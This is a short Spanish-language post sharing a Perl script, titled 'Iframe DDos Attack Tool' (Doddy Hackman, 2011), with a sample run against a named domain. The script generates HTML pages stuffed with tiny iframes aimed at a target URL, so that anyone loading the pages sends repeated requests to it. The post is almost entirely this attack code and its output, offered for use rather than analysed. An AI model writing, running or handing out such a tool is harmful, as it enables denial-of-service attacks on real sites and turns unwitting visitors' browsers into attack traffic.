Un simple poc para la los ataques de denegacion de servicio usando
iframes.
#!usr/bin/perl
#Iframe DDos Attack Tool (C) Doddy Hackman 2011
use Cwd;
installer();
sub head {
print "\n\n-- == Iframe DDos Attack Tool == --\n\n"; }
sub copyright {
print "\n\n -- == Doddy Hackman 2011\n\n"; }
sub sintax {
print "\n[+] sintax : $0 <target> <count file> <count iframe>\n"; }
sub start {
my ($target,$files,$iframe) = @_;
print "\n[+] Starting the party\n\n"; print "[+] Generating files and iframes\n"; print "\n[+] All Save in ".getcwd
()."/files/"."\n"; for my $can(1..$files) {
open (POC
,">>files/index".$can.".html"); for my $tx(1..$iframe) {
print POC
'<iframe src="'.$target.'" width="3" height="3"></iframe><br>'; }
}
}
head();
unless(@ARGV > 2) {
sintax();
} else {
start($ARGV[0],$ARGV[1],$ARGV[2]);
}
copyright();
sub installer {
unless (-d "files/") {
}}
# ¿ The End ?
Ejemplo de uso
C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
Finales\poc iframe>poc.pl "pepo.com" 4 4
-- == Iframe DDos Attack Tool == --
[+] Starting the party
[+] Generating files and iframes
[+] All Save in C:/Documents and Settings/Administrador/Escritorio/Leviatan/Hack
ing/WarFactoy II Finales/poc iframe/files/
-- == Doddy Hackman 2011